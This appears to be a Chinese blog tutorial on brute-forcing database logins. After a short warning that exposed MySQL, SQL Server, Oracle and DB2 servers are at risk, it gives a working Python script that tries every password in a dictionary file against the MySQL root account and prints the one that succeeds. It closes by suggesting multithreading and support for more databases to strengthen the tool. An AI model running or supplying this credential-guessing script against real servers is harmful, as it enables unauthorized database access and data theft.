我们日常业务系统常用mysql、sqlserver、oracle、db2等,多数开发人员以功能为导向,缺少安全意识,在设计开发时数据库对外权限没有进行有效设置,导致可通过外部IP方进行连接访问。该问题存在非常大的安全隐患,渗透人员利用字典表通过穷举方式进行暴力破解,一旦渗透成功,危害不言而喻。
源代码只实现了mysql的穷举破解,sqlserver、oracle类似,不在此复述。
一、源代码
# -*- coding: UTF-8 -*-
import pymysql
def mysqlConnection(url,userName,password,dbName):
try:
print("userName:%s,password:%s" % (userName,password));
# 打开数据库连接
db = pymysql.connect(url, userName, password, dbName, charset='utf8' )
# 使用cursor()方法获取操作游标
cursor = db.cursor()
# 使用execute方法执行SQL语句
cursor.execute("SELECT VERSION()")
# 使用 fetchone() 方法获取一条数据
data = cursor.fetchone()
print ("Database version : %s " % data);
# 关闭数据库连接
db.close();
return True;
except Exception as e:
# print(e);
pass;
def main():
userName = "root"
passwordList = open("/Users/wangfeng/Downloads/Blasting_dictionary-master/password.txt"); #字典表
passwords = passwordList.readlines();
for password in passwords:
check = mysqlConnection("127.0.0.1",userName.strip(),password.strip(),"mysql");
if check :
print("破解成功,用户名 %s,密码:%s" % (userName,password));
break;
if __name__ == "__main__":
main();
二、优化
本系列只是相关功能的核心实现,未考虑过多的技术细节及功能,在基于本代码的前提下,我们可以从多线程、多数据库、字典表等多个维度着手进行完善。本系列所用字典表为:Blasting_dictionary-master(有些老,传送门)。